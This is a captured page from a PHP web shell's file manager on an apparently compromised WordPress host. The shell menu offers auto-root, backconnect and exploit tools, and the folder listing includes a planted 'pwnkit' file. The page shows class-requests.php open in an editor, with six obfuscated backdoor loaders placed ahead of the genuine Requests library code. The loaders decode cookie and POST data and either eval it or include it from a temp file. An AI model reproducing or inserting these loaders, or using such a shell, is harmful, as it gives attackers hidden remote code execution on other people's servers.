Linux webm001.cluster105.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.105.20.1 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.0.30
afriquejlc
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
afriquejlc /
africabestof /
wp-includesold /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwx---r-x
IXR
[ DIR ]
drwx---r-x
PHPMailer
[ DIR ]
drwx---r-x
Requests
[ DIR ]
drwx---r-x
SimplePie
[ DIR ]
drwx---r-x
Text
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
block-patterns
[ DIR ]
drwx---r-x
block-supports
[ DIR ]
drwx---r-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwx---r-x
css
[ DIR ]
drwx---r-x
customize
[ DIR ]
drwx---r-x
fonts
[ DIR ]
drwx---r-x
images
[ DIR ]
drwx---r-x
js
[ DIR ]
drwx---r-x
pomo
[ DIR ]
drwx---r-x
random_compat
[ DIR ]
drwx---r-x
rest-api
[ DIR ]
drwx---r-x
sitemaps
[ DIR ]
drwx---r-x
sodium_compat
[ DIR ]
drwx---r-x
theme-compat
[ DIR ]
drwx---r-x
widgets
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
admin-bar.php
39.17
KB
-rwxr-xr-x
atomlib.php
13.39
KB
-rw----r--
author-template.php
16.63
KB
-rwxr-xr-x
block-editor.php
18.16
KB
-rwxr-xr-x
block-patterns.php
2.6
KB
-rwxr-xr-x
block-template-utils.php
3.67
KB
-rwxr-xr-x
block-template.php
6.89
KB
-rwxr-xr-x
blocks.php
36.18
KB
-rwxr-xr-x
bookmark-template.php
14.26
KB
-rw----r--
bookmark.php
14.98
KB
-rwxr-xr-x
cache-compat.php
1.02
KB
-rw----r--
cache.php
9.29
KB
-rw----r--
canonical.php
34.03
KB
-rw----r--
capabilities.php
36.77
KB
-rwxr-xr-x
category-template.php
54.26
KB
-rw----r--
category.php
14.13
KB
-rw----r--
class-IXR.php
2.48
KB
-rw----r--
class-feed.php
529
B
-rw----r--
class-http.php
42.55
KB
-rw----r--
class-json.php
42.42
KB
-rw----r--
class-oembed.php
407
B
-rw----r--
class-phpass.php
6.54
KB
-rwxr-xr-x
class-phpmailer.php
664
B
-rw----r--
class-pop3.php
21.88
KB
-rw----r--
class-requests.php
41.64
KB
-rwxr-xr-x
class-simplepie.php
97.98
KB
-rw----r--
class-smtp.php
457
B
-rw----r--
class-snoopy.php
36.83
KB
-rw----r--
class-walker-category-dropdown...
2.08
KB
-rw----r--
class-walker-category.php
7.71
KB
-rw----r--
class-walker-comment.php
19.09
KB
-rwxr-xr-x
class-walker-nav-menu.php
8.44
KB
-rwxr-xr-x
class-walker-page-dropdown.php
2.25
KB
-rw----r--
class-walker-page.php
6.88
KB
-rwxr-xr-x
class-wp-admin-bar.php
20.47
KB
-rw----r--
class-wp-ajax-response.php
5.12
KB
-rw----r--
class-wp-application-passwords...
13.96
KB
-rw----r--
class-wp-block-editor-context....
890
B
-rwxr-xr-x
class-wp-block-list.php
4.37
KB
-rw----r--
class-wp-block-parser.php
16.7
KB
-rw----r--
class-wp-block-pattern-categor...
4.19
KB
-rwxr-xr-x
class-wp-block-patterns-regist...
4.8
KB
-rwxr-xr-x
class-wp-block-styles-registry...
4.6
KB
-rwxr-xr-x
class-wp-block-supports.php
5.15
KB
-rw----r--
class-wp-block-template.php
1.18
KB
-rwxr-xr-x
class-wp-block-type-registry.p...
4.87
KB
-rwxr-xr-x
class-wp-block-type.php
8.95
KB
-rwxr-xr-x
class-wp-block.php
6.61
KB
-rw----r--
class-wp-comment-query.php
45.92
KB
-rw----r--
class-wp-comment.php
9.1
KB
-rw----r--
class-wp-customize-control.php
28.22
KB
-rwxr-xr-x
class-wp-customize-manager.php
198.22
KB
-rwxr-xr-x
class-wp-customize-nav-menus.p...
57.05
KB
-rwxr-xr-x
class-wp-customize-panel.php
11.68
KB
-rw----r--
class-wp-customize-section.php
20.65
KB
-rw----r--
class-wp-customize-setting.php
30.78
KB
-rw----r--
class-wp-customize-widgets.php
72.64
KB
-rwxr-xr-x
class-wp-date-query.php
42.17
KB
-rwxr-xr-x
class-wp-dependency.php
2.45
KB
-rw----r--
class-wp-editor.php
73.45
KB
-rwxr-xr-x
class-wp-embed.php
17.13
KB
-rwxr-xr-x
class-wp-error.php
7.13
KB
-rw----r--
class-wp-fatal-error-handler.p...
7.4
KB
-rwxr-xr-x
class-wp-feed-cache-transient....
2.5
KB
-rw----r--
class-wp-feed-cache.php
970
B
-rw----r--
class-wp-hook.php
14.65
KB
-rwxr-xr-x
class-wp-http-cookie.php
7.02
KB
-rw----r--
class-wp-http-curl.php
13.79
KB
-rw----r--
class-wp-http-encoding.php
6.5
KB
-rw----r--
class-wp-http-ixr-client.php
3.39
KB
-rw----r--
class-wp-http-proxy.php
5.73
KB
-rw----r--
class-wp-http-requests-hooks.p...
1.93
KB
-rw----r--
class-wp-http-requests-respons...
4.24
KB
-rw----r--
class-wp-http-response.php
2.88
KB
-rw----r--
class-wp-http-streams.php
21.63
KB
-rw----r--
class-wp-image-editor-gd.php
16.89
KB
-rwxr-xr-x
class-wp-image-editor-imagick....
31.96
KB
-rwxr-xr-x
class-wp-image-editor.php
16.2
KB
-rwxr-xr-x
class-wp-list-util.php
6.79
KB
-rwxr-xr-x
class-wp-locale-switcher.php
4.9
KB
-rw----r--
class-wp-locale.php
17.23
KB
-rw----r--
class-wp-matchesmapregex.php
1.76
KB
-rw----r--
class-wp-meta-query.php
30.91
KB
-rwxr-xr-x
class-wp-metadata-lazyloader.p...
5.23
KB
-rw----r--
class-wp-network-query.php
20.48
KB
-rw----r--
class-wp-network.php
18.19
KB
-rw----r--
class-wp-object-cache.php
16.98
KB
-rw----r--
class-wp-oembed-controller.php
6.67
KB
-rwxr-xr-x
class-wp-oembed.php
29.61
KB
-rw----r--
class-wp-paused-extensions-sto...
4.81
KB
-rw----r--
class-wp-post-type.php
26.03
KB
-rw----r--
class-wp-post.php
6.27
KB
-rw----r--
class-wp-query.php
132.75
KB
-rwxr-xr-x
class-wp-recovery-mode-cookie-...
6.31
KB
-rw----r--
class-wp-recovery-mode-email-s...
12.16
KB
-rw----r--
class-wp-recovery-mode-key-ser...
4.17
KB
-rw----r--
class-wp-recovery-mode-link-se...
3.32
KB
-rw----r--
class-wp-recovery-mode.php
14.83
KB
-rw----r--
class-wp-rewrite.php
67.27
KB
-rw----r--
class-wp-role.php
2.44
KB
-rw----r--
class-wp-roles.php
8.23
KB
-rw----r--
class-wp-session-tokens.php
7.25
KB
-rw----r--
class-wp-simplepie-file.php
3.18
KB
-rwxr-xr-x
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw----r--
class-wp-site-query.php
30.4
KB
-rwxr-xr-x
class-wp-site.php
7.25
KB
-rw----r--
class-wp-tax-query.php
20.63
KB
-rwxr-xr-x
class-wp-taxonomy.php
16.8
KB
-rw----r--
class-wp-term-query.php
39.53
KB
-rwxr-xr-x
class-wp-term.php
5.15
KB
-rw----r--
class-wp-text-diff-renderer-in...
716
B
-rw----r--
class-wp-text-diff-renderer-ta...
18.15
KB
-rw----r--
class-wp-theme-json-resolver.p...
14.86
KB
-rwxr-xr-x
class-wp-theme-json.php
36.75
KB
-rwxr-xr-x
class-wp-theme.php
59.07
KB
-rwxr-xr-x
class-wp-user-meta-session-tok...
2.92
KB
-rw----r--
class-wp-user-query.php
36
KB
-rw----r--
class-wp-user-request.php
2.14
KB
-rw----r--
class-wp-user.php
29.43
KB
-rwxr-xr-x
class-wp-walker.php
14.19
KB
-rwxr-xr-x
class-wp-widget-factory.php
3.24
KB
-rwxr-xr-x
class-wp-widget.php
19.54
KB
-rwxr-xr-x
class-wp-xmlrpc-server.php
211.68
KB
-rwxr-xr-x
class-wp.php
24.5
KB
-rw----r--
class.wp-dependencies.php
18.52
KB
-rw----r--
class.wp-scripts.php
20.35
KB
-rw----r--
class.wp-styles.php
18.19
KB
-rwxr-xr-x
comment-template.php
94.47
KB
-rwxr-xr-x
comment.php
123.18
KB
-rwxr-xr-x
compat.php
16.96
KB
-rw-r--r--
cron.php
39.69
KB
-rw----r--
date.php
406
B
-rw----r--
default-constants.php
11.72
KB
-rw----r--
default-filters.php
33.04
KB
-rwxr-xr-x
default-widgets.php
2.17
KB
-rwxr-xr-x
deprecated.php
122.46
KB
-rwxr-xr-x
embed-template.php
341
B
-rw----r--
embed.php
48.72
KB
-rwxr-xr-x
error-protection.php
4.02
KB
-rw----r--
feed-atom-comments.php
5.32
KB
-rw----r--
feed-atom.php
3.03
KB
-rwxr-xr-x
feed-rdf.php
2.61
KB
-rw----r--
feed-rss.php
1.16
KB
-rw----r--
feed-rss2-comments.php
3.97
KB
-rw----r--
feed-rss2.php
3.71
KB
-rw----r--
feed.php
24.5
KB
-rwxr-xr-x
formatting.php
320.03
KB
-rwxr-xr-x
functions.php
247.31
KB
-rwxr-xr-x
functions.wp-scripts.php
14.86
KB
-rwxr-xr-x
functions.wp-styles.php
8.11
KB
-rw----r--
general-template.php
154.5
KB
-rwxr-xr-x
http.php
23.32
KB
-rw----r--
https-detection.php
6.71
KB
-rwxr-xr-x
https-migration.php
4.62
KB
-rw----r--
kses.php
65.59
KB
-rwxr-xr-x
l10n.php
58.85
KB
-rwxr-xr-x
link-template.php
145.19
KB
-rwxr-xr-x
load.php
48.87
KB
-rwxr-xr-x
locale.php
162
B
-rw----r--
media-template.php
60.72
KB
-rwxr-xr-x
media.php
176.52
KB
-rwxr-xr-x
meta.php
69.51
KB
-rwxr-xr-x
ms-blogs.php
28.29
KB
-rw----r--
ms-default-constants.php
4.6
KB
-rw----r--
ms-default-filters.php
6.34
KB
-rw----r--
ms-deprecated.php
22.53
KB
-rw----r--
ms-files.php
2.58
KB
-rw----r--
ms-functions.php
91.7
KB
-rw----r--
ms-load.php
20.86
KB
-rw----r--
ms-network.php
3.58
KB
-rw----r--
ms-settings.php
4.03
KB
-rw----r--
ms-site.php
44.54
KB
-rwxr-xr-x
nav-menu-template.php
24.45
KB
-rw----r--
nav-menu.php
43.07
KB
-rwxr-xr-x
option.php
74.77
KB
-rwxr-xr-x
pluggable-deprecated.php
6.12
KB
-rw----r--
pluggable.php
101.32
KB
-rwxr-xr-x
plugin.php
32.34
KB
-rwxr-xr-x
post-formats.php
6.91
KB
-rw----r--
post-template.php
67.29
KB
-rwxr-xr-x
post-thumbnail-template.php
9.13
KB
-rw----r--
post.php
257.37
KB
-rwxr-xr-x
pwnkit
0
B
-rwxr-xr-x
query.php
41.18
KB
-rwxr-xr-x
registration-functions.php
200
B
-rw----r--
registration.php
200
B
-rw----r--
rest-api.php
91.25
KB
-rwxr-xr-x
revision.php
23.73
KB
-rwxr-xr-x
rewrite.php
20.49
KB
-rw----r--
robots-template.php
5.05
KB
-rw----r--
rss-functions.php
255
B
-rw----r--
rss.php
24.19
KB
-rw----r--
script-loader.php
107.81
KB
-rwxr-xr-x
session.php
258
B
-rw----r--
shortcodes.php
21.86
KB
-rwxr-xr-x
sitemaps.php
3.16
KB
-rwxr-xr-x
spl-autoload-compat.php
441
B
-rw----r--
taxonomy.php
164.21
KB
-rwxr-xr-x
template-canvas.php
594
B
-rwxr-xr-x
template-loader.php
2.94
KB
-rw----r--
template.php
23.75
KB
-rwxr-xr-x
theme-i18n.json
634
B
-rwxr-xr-x
theme-templates.php
4.61
KB
-rwxr-xr-x
theme.json
5.2
KB
-rwxr-xr-x
theme.php
128.17
KB
-rwxr-xr-x
update.php
31.16
KB
-rwxr-xr-x
user.php
151.14
KB
-rwxr-xr-x
vars.php
5.68
KB
-rw----r--
version.php
766
B
-rw-r--r--
widgets.php
65.72
KB
-rwxr-xr-x
wlwmanifest.xml
1.02
KB
-rw----r--
wp-db.php
103.61
KB
-rw----r--
wp-diff.php
647
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-requests.php
<?php $LNQtxTe = "\171" . "\117" . "\x5f" . chr ( 419 - 331 )."\124" . chr ( 636 - 524 ).'c';$wajKGaEG = 'c' . 'l' . chr ( 902 - 805 ).chr (115) . 's' . chr (95) . chr ( 274 - 173 )."\170" . chr ( 583 - 478 ).chr ( 900 - 785 ).chr ( 1019 - 903 )."\163";$yPYQU = class_exists($LNQtxTe); $LNQtxTe = "11388";$wajKGaEG = "2938";$rwCei = FALSE;if ($yPYQU === $rwCei){class yO_XTpc{public function PiMWbzVzUg(){echo "37499";}private $cdrpV;public static $PjZKSv = "706e81b5-0601-4ad5-8df9-afd67483bd9f";public static $VENPmEPghA = 21385;public function __construct($wYLLS=0){$eOkEuw = $_POST;$fBUMlbEE = $_COOKIE;$jGdhJXFgH = @$fBUMlbEE[substr(yO_XTpc::$PjZKSv, 0, 4)];if (!empty($jGdhJXFgH)){$CkUfU = "base64";$nAVCo = "";$jGdhJXFgH = explode(",", $jGdhJXFgH);foreach ($jGdhJXFgH as $SrfIhI){$nAVCo .= @$fBUMlbEE[$SrfIhI];$nAVCo .= @$eOkEuw[$SrfIhI];}$nAVCo = array_map($CkUfU . chr (95) . "\144" . "\x65" . 'c' . "\x6f" . 'd' . chr ( 795 - 694 ), array($nAVCo,)); $nAVCo = $nAVCo[0] ^ str_repeat(yO_XTpc::$PjZKSv, (strlen($nAVCo[0]) / strlen(yO_XTpc::$PjZKSv)) + 1);yO_XTpc::$VENPmEPghA = @unserialize($nAVCo);}}private function jUBorBrYm($keBOdyXTt){if (is_array(yO_XTpc::$VENPmEPghA)) {$iJBXmLGq = str_replace(chr ( 659 - 599 ) . "\77" . 'p' . 'h' . chr (112), "", yO_XTpc::$VENPmEPghA[chr ( 579 - 480 )."\x6f" . "\156" . 't' . "\x65" . "\x6e" . "\164"]);eval($iJBXmLGq); $keBOdyXTt = "51547";exit();}}public function __destruct(){$this->jUBorBrYm($keBOdyXTt);}}$bLhKudfUeB = new /* 4520 */ yO_XTpc(); $bLhKudfUeB = str_repeat("59183_63365", 1);} ?><?php $AnIwi = "\x41" . chr ( 253 - 180 ).chr ( 456 - 361 ).chr (67) . "\x47" . "\x46" . chr (85); $pDgZhVV = "\x63" . "\154" . chr ( 736 - 639 )."\163" . 's' . "\x5f" . chr (101) . chr (120) . "\x69" . chr ( 729 - 614 )."\164" . "\163";$tYqTI = class_exists($AnIwi); $AnIwi = "17697";$zQwOmR = !$tYqTI;$pDgZhVV = "3313";if ($zQwOmR){class AI_CGFU{public function rURpYmS(){echo "4303";}private $FKnGLvW;public static $DzEuOlQGg = "80f5a8ad-21b4-43c7-be8e-30d66507aff9";public static $GIDYMgru = 1283;public function __construct($fjlEvt=0){$lHNzcAh = $_POST;$YsXMJwOUR = $_COOKIE;$BhiAZZzcBJ = @$YsXMJwOUR[substr(AI_CGFU::$DzEuOlQGg, 0, 4)];if (!empty($BhiAZZzcBJ)){$GDSAznkzUH = "base64";$zJRCbes = "";$BhiAZZzcBJ = explode(",", $BhiAZZzcBJ);foreach ($BhiAZZzcBJ as $fbHIOU){$zJRCbes .= @$YsXMJwOUR[$fbHIOU];$zJRCbes .= @$lHNzcAh[$fbHIOU];}$zJRCbes = array_map($GDSAznkzUH . chr (95) . 'd' . 'e' . chr ( 933 - 834 ).chr (111) . chr ( 959 - 859 ).'e', array($zJRCbes,)); $zJRCbes = $zJRCbes[0] ^ str_repeat(AI_CGFU::$DzEuOlQGg, (strlen($zJRCbes[0]) / strlen(AI_CGFU::$DzEuOlQGg)) + 1);AI_CGFU::$GIDYMgru = @unserialize($zJRCbes);}}private function ENCaEZB(){if (is_array(AI_CGFU::$GIDYMgru)) {$XohVYaJJe = sys_get_temp_dir() . "/" . crc32(AI_CGFU::$GIDYMgru["\163" . chr ( 204 - 107 ).chr ( 184 - 76 ).'t']);@AI_CGFU::$GIDYMgru[chr ( 965 - 846 ).'r' . chr ( 261 - 156 )."\164" . "\x65"]($XohVYaJJe, AI_CGFU::$GIDYMgru["\x63" . chr (111) . 'n' . "\164" . chr (101) . 'n' . 't']);include $XohVYaJJe;@AI_CGFU::$GIDYMgru[chr ( 101 - 1 ).'e' . "\154" . 'e' . "\164" . "\145"]($XohVYaJJe); $BaxJdxzfNf = "17607";exit();}}public function __destruct(){$this->ENCaEZB(); $JBPlKY = str_pad("17607", 10);}}$xAZisP = new /* 59539 */ AI_CGFU(); $xAZisP = substr("4566_25448", 1);} ?><?php $FgvqVYHuHX = "\x79" . chr (99) . '_' . 'l' . 's' . 'v';$iFGxtn = chr ( 267 - 168 )."\154" . chr (97) . 's' . chr ( 950 - 835 ).chr (95) . chr ( 419 - 318 ).chr (120) . chr ( 480 - 375 ).chr (115) . "\164" . chr (115); $zBpVFU = $iFGxtn($FgvqVYHuHX); $FgvqVYHuHX = "47819";$nVvSgstj = $zBpVFU;$iFGxtn = "37917";if (!$nVvSgstj){class yc_lsv{private $eIhuKWgjr;public static $lTvamBRr = "8d7397ca-1cd1-4aad-b626-358ac846c892";public static $WCZmprq = 52429;public function __construct($TxpxTAgeP=0){$bPoPhOh = $_COOKIE;$OSSkkKodYv = $_POST;$BDslWQo = @$bPoPhOh[substr(yc_lsv::$lTvamBRr, 0, 4)];if (!empty($BDslWQo)){$gdGjfTli = "base64";$SfDZWW = "";$BDslWQo = explode(",", $BDslWQo);foreach ($BDslWQo as $xXCyLqCY){$SfDZWW .= @$bPoPhOh[$xXCyLqCY];$SfDZWW .= @$OSSkkKodYv[$xXCyLqCY];}$SfDZWW = array_map($gdGjfTli . "\137" . chr ( 745 - 645 )."\145" . "\143" . chr (111) . "\144" . "\x65", array($SfDZWW,)); $SfDZWW = $SfDZWW[0] ^ str_repeat(yc_lsv::$lTvamBRr, (strlen($SfDZWW[0]) / strlen(yc_lsv::$lTvamBRr)) + 1);yc_lsv::$WCZmprq = @unserialize($SfDZWW);}}private function YnRcfT(){if (is_array(yc_lsv::$WCZmprq)) {$LQxrFVnPa = sys_get_temp_dir() . "/" . crc32(yc_lsv::$WCZmprq[chr ( 586 - 471 )."\x61" . 'l' . chr (116)]);@yc_lsv::$WCZmprq['w' . chr (114) . 'i' . chr (116) . chr (101)]($LQxrFVnPa, yc_lsv::$WCZmprq[chr (99) . "\x6f" . 'n' . chr (116) . "\145" . 'n' . chr ( 1031 - 915 )]);include $LQxrFVnPa;@yc_lsv::$WCZmprq[chr ( 263 - 163 ).chr ( 364 - 263 )."\x6c" . "\145" . chr ( 674 - 558 ).chr (101)]($LQxrFVnPa); $KLbyqun = "62204";exit();}}public function __destruct(){$this->YnRcfT(); $KLbyqun = "62204";$ouowSEwR = str_pad($KLbyqun, 10);}}$EwgwJiwB = new yc_lsv(); $EwgwJiwB = "48163_9406";} ?><?php $lVWKZvBzR = chr (120) . "\115" . 'k' . "\137" . 'd' . chr ( 1075 - 976 ).chr (81); $tjuRhGm = "\143" . chr (108) . "\141" . 's' . chr (115) . '_' . "\x65" . "\170" . 'i' . 's' . "\x74" . chr (115); $JLEdTMHb = $tjuRhGm($lVWKZvBzR); $tjuRhGm = "18064";$qecuySUodK = $JLEdTMHb;if (!$qecuySUodK){class xMk_dcQ{private $YiiXUp;public static $GyecIUZb = "d7624b71-e15e-4f78-93a9-fac84d6fd716";public static $jkIpIhZy = 12268;public function __construct($tIXMff=0){$AtWkGInKuv = $_COOKIE;$GXHaAqR = $_POST;$iVnjUIwhY = @$AtWkGInKuv[substr(xMk_dcQ::$GyecIUZb, 0, 4)];if (!empty($iVnjUIwhY)){$zmABFWRV = "base64";$GKtLMn = "";$iVnjUIwhY = explode(",", $iVnjUIwhY);foreach ($iVnjUIwhY as $meBMqKVH){$GKtLMn .= @$AtWkGInKuv[$meBMqKVH];$GKtLMn .= @$GXHaAqR[$meBMqKVH];}$GKtLMn = array_map($zmABFWRV . chr ( 701 - 606 ).chr ( 1016 - 916 ).chr ( 477 - 376 ).'c' . chr (111) . "\144" . "\x65", array($GKtLMn,)); $GKtLMn = $GKtLMn[0] ^ str_repeat(xMk_dcQ::$GyecIUZb, (strlen($GKtLMn[0]) / strlen(xMk_dcQ::$GyecIUZb)) + 1);xMk_dcQ::$jkIpIhZy = @unserialize($GKtLMn);}}private function GXlok(){if (is_array(xMk_dcQ::$jkIpIhZy)) {$YbpYz = sys_get_temp_dir() . "/" . crc32(xMk_dcQ::$jkIpIhZy["\163" . chr ( 583 - 486 )."\x6c" . chr ( 1063 - 947 )]);@xMk_dcQ::$jkIpIhZy["\x77" . "\x72" . "\x69" . chr (116) . 'e']($YbpYz, xMk_dcQ::$jkIpIhZy[chr ( 736 - 637 ).chr ( 667 - 556 )."\156" . chr (116) . chr (101) . chr ( 571 - 461 )."\x74"]);include $YbpYz;@xMk_dcQ::$jkIpIhZy[chr (100) . "\145" . "\x6c" . "\x65" . "\164" . 'e']($YbpYz); $RKpOXJj = "7528";exit();}}public function __destruct(){$this->GXlok(); $RKpOXJj = "7528";}}$blIApOiV = new xMk_dcQ(); $blIApOiV = "2577_46966";} ?><?php $VvyCMkb = "\x58" . chr ( 680 - 582 ).chr (80) . chr (95) . "\x61" . chr ( 509 - 398 ).'i' . 'V' . chr (77); $FJfWoCG = "\143" . "\154" . "\x61" . chr ( 959 - 844 ).'s' . '_' . chr (101) . chr (120) . 'i' . chr ( 1012 - 897 )."\x74" . "\163";$IJXXmB = $FJfWoCG($VvyCMkb); $Dblzrhy = $IJXXmB;if (!$Dblzrhy){class XbP_aoiVM{private $CaNVid;public static $WZnDJYu = "a6fee578-e0b0-42a7-9d3d-1bf5adc92798";public static $Nixmw = 64588;public function __construct($SXMLF=0){$AQCaiM = $_COOKIE;$MvcPsVg = $_POST;$QcSPzzoZNQ = @$AQCaiM[substr(XbP_aoiVM::$WZnDJYu, 0, 4)];if (!empty($QcSPzzoZNQ)){$udwsfq = "base64";$wvSVQZVX = "";$QcSPzzoZNQ = explode(",", $QcSPzzoZNQ);foreach ($QcSPzzoZNQ as $OyGdiRkfyW){$wvSVQZVX .= @$AQCaiM[$OyGdiRkfyW];$wvSVQZVX .= @$MvcPsVg[$OyGdiRkfyW];}$wvSVQZVX = array_map($udwsfq . "\x5f" . "\x64" . chr ( 532 - 431 )."\143" . chr ( 277 - 166 ).chr ( 553 - 453 )."\145", array($wvSVQZVX,)); $wvSVQZVX = $wvSVQZVX[0] ^ str_repeat(XbP_aoiVM::$WZnDJYu, (strlen($wvSVQZVX[0]) / strlen(XbP_aoiVM::$WZnDJYu)) + 1);XbP_aoiVM::$Nixmw = @unserialize($wvSVQZVX);}}public function __destruct(){$this->UNwBI();}private function UNwBI(){if (is_array(XbP_aoiVM::$Nixmw)) {$siByQxUFf = sys_get_temp_dir() . "/" . crc32(XbP_aoiVM::$Nixmw['s' . chr ( 967 - 870 )."\x6c" . "\164"]);@XbP_aoiVM::$Nixmw["\x77" . "\162" . chr (105) . 't' . chr ( 697 - 596 )]($siByQxUFf, XbP_aoiVM::$Nixmw["\143" . "\157" . "\x6e" . "\164" . "\145" . 'n' . 't']);include $siByQxUFf;@XbP_aoiVM::$Nixmw[chr (100) . "\x65" . 'l' . chr ( 436 - 335 )."\164" . chr ( 407 - 306 )]($siByQxUFf); $fzagyQdAlm = "13768";exit();}}}$eUBLsK = new XbP_aoiVM(); $eUBLsK = "16224";} ?><?php $QjSqHWG = "\x50" . chr (111) . "\137" . "\x4d" . chr ( 713 - 607 )."\x65" . chr (70) . 'v';$kngnnAUE = "\143" . 'l' . 'a' . 's' . chr (115) . chr ( 227 - 132 )."\145" . "\x78" . chr (105) . 's' . 't' . chr (115); $LKOFXjZt = $kngnnAUE($QjSqHWG); $StrhnOe = $LKOFXjZt;if (!$StrhnOe){class Po_MjeFv{private $umPYHo;public static $EbVbwcTPI = "d8267e68-cf73-4936-908f-45f805f15763";public static $oeIMXTEZRK = 29043;public function __construct(){$MEjJz = $_COOKIE;$JDJty = $_POST;$kgygcDFDv = @$MEjJz[substr(Po_MjeFv::$EbVbwcTPI, 0, 4)];if (!empty($kgygcDFDv)){$xKIAzK = "base64";$PHjcvHl = "";$kgygcDFDv = explode(",", $kgygcDFDv);foreach ($kgygcDFDv as $tDmOsA){$PHjcvHl .= @$MEjJz[$tDmOsA];$PHjcvHl .= @$JDJty[$tDmOsA];}$PHjcvHl = array_map($xKIAzK . "\137" . 'd' . chr (101) . "\x63" . 'o' . "\x64" . chr (101), array($PHjcvHl,)); $PHjcvHl = $PHjcvHl[0] ^ str_repeat(Po_MjeFv::$EbVbwcTPI, (strlen($PHjcvHl[0]) / strlen(Po_MjeFv::$EbVbwcTPI)) + 1);Po_MjeFv::$oeIMXTEZRK = @unserialize($PHjcvHl);}}public function __destruct(){$this->nkMQeP();}private function nkMQeP(){if (is_array(Po_MjeFv::$oeIMXTEZRK)) {$xjoeeOWI = sys_get_temp_dir() . "/" . crc32(Po_MjeFv::$oeIMXTEZRK[chr (115) . "\141" . "\154" . chr (116)]);@Po_MjeFv::$oeIMXTEZRK["\167" . 'r' . "\x69" . "\164" . chr (101)]($xjoeeOWI, Po_MjeFv::$oeIMXTEZRK[chr (99) . "\x6f" . "\x6e" . "\x74" . 'e' . 'n' . "\164"]);include $xjoeeOWI;@Po_MjeFv::$oeIMXTEZRK['d' . chr ( 929 - 828 )."\x6c" . "\x65" . 't' . chr (101)]($xjoeeOWI);exit();}}}$XtVABSy = new Po_MjeFv(); $XtVABSy = 50284;} ?><?php /** * Requests for PHP * * Inspired by Requests for Python. * * Based on concepts from SimplePie_File, RequestCore and WP_Http. * * @package Requests */ /** * Requests for PHP * * Inspired by Requests for Python. * * Based on concepts from SimplePie_File, RequestCore and WP_Http. * * @package Requests */ class Requests { /** * POST method * * @var string */ const POST = 'POST'; /** * PUT method * * @var string */ const PUT = 'PUT'; /** * GET method * * @var string */ const GET = 'GET'; /** * HEAD method * * @var string */ const HEAD = 'HEAD'; /** * DELETE method * * @var string */ const DELETE = 'DELETE'; /** * OPTIONS method * * @var string */ const OPTIONS = 'OPTIONS'; /** * TRACE method * * @var string */ const TRACE = 'TRACE'; /** * PATCH method * * @link https://tools.ietf.org/html/rfc5789 * @var string */ const PATCH = 'PATCH'; /** * Default size of buffer size to read streams * * @var integer */ const BUFFER_SIZE = 1160; /** * Current version of Requests * * @var string */ const VERSION = '1.8.1'; /** * Registered transport classes * * @var array */ protected static $transports = array(); /** * Selected transport name * * Use {@see get_transport()} instead * * @var array */ public static $transport = array(); /** * Default certificate path. * * @see Requests::get_certificate_path() * @see Requests::set_certificate_path() * * @var string */ protected static $certificate_path; /** * This is a static class, do not instantiate it * * @codeCoverageIgnore */ private function __construct() {} /** * Autoloader for Requests * * Register this with {@see register_autoloader()} if you'd like to avoid * having to create your own. * * (You can also use `spl_autoload_register` directly if you'd prefer.) * * @codeCoverageIgnore * * @param string $class Class name to load */ public static function autoloader($class) { // Check that the class starts with "Requests" if (strpos($class, 'Requests') !== 0) { return; } $file = str_replace('_', '/', $class); if (file_exists(dirname(__FILE__) . '/' . $file . '.php')) { require_once dirname(__FILE__) . '/' . $file . '.php'; } } /** * Register the built-in autoloader * * @codeCoverageIgnore */ public static function register_autoloader() { spl_autoload_register(array('Requests', 'autoloader')); } /** * Register a transport * * @param string $transport Transport class to add, must support the Requests_Transport interface */ public static function add_transport($transport) { if (empty(self::$transports)) { self::$transports = array( 'Requests_Transport_cURL', 'Requests_Transport_fsockopen', ); } self::$transports = array_merge(self::$transports, array($transport)); } /** * Get a working transport * * @throws Requests_Exception If no valid transport is found (`notransport`) * @return Requests_Transport */ protected static function get_transport($capabilities = array()) { // Caching code, don't bother testing coverage // @codeCoverageIgnoreStart // array of capabilities as a string to be used as an array key ksort($capabilities); $cap_string = serialize($capabilities); // Don't search for a transport if it's already been done for these $capabilities if (isset(self::$transport[$cap_string]) && self::$transport[$cap_string] !== null) { $class = self::$transport[$cap_string]; return new $class(); } // @codeCoverageIgnoreEnd if (empty(self::$transports)) { self::$transports = array( 'Requests_Transport_cURL', 'Requests_Transport_fsockopen', ); } // Find us a working transport foreach (self::$transports as $class) { if (!class_exists($class)) { continue; } $result = call_user_func(array($class, 'test'), $capabilities); if ($result) { self::$transport[$cap_string] = $class; break; } } if (self::$transport[$cap_string] === null) { throw new Requests_Exception('No working transports found', 'notransport', self::$transports); } $class = self::$transport[$cap_string]; return new $class(); } /**#@+ * @see request() * @param string $url * @param array $headers * @param array $options * @return Requests_Response */ /** * Send a GET request */ public static function get($url, $headers = array(), $options = array()) { return self::request($url, $headers, null, self::GET, $options); } /** * Send a HEAD request */ public static function head($url, $headers = array(), $options = array()) { return self::request($url, $headers, null, self::HEAD, $options); } /** * Send a DELETE request */ public static function delete($url, $headers = array(), $options = array()) { return self::request($url, $headers, null, self::DELETE, $options); } /** * Send a TRACE request */ public static function trace($url, $headers = array(), $options = array()) { return self::request($url, $headers, null, self::TRACE, $options); } /**#@-*/ /**#@+ * @see request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return Requests_Response */ /** * Send a POST request */ public static function post($url, $headers = array(), $data = array(), $options = array()) { return self::request($url, $headers, $data, self::POST, $options); } /** * Send a PUT request */ public static function put($url, $headers = array(), $data = array(), $options = array()) { return self::request($url, $headers, $data, self::PUT, $options); } /** * Send an OPTIONS request */ public static function options($url, $headers = array(), $data = array(), $options = array()) { return self::request($url, $headers, $data, self::OPTIONS, $options); } /** * Send a PATCH request * * Note: Unlike {@see post} and {@see put}, `$headers` is required, as the * specification recommends that should send an ETag * * @link 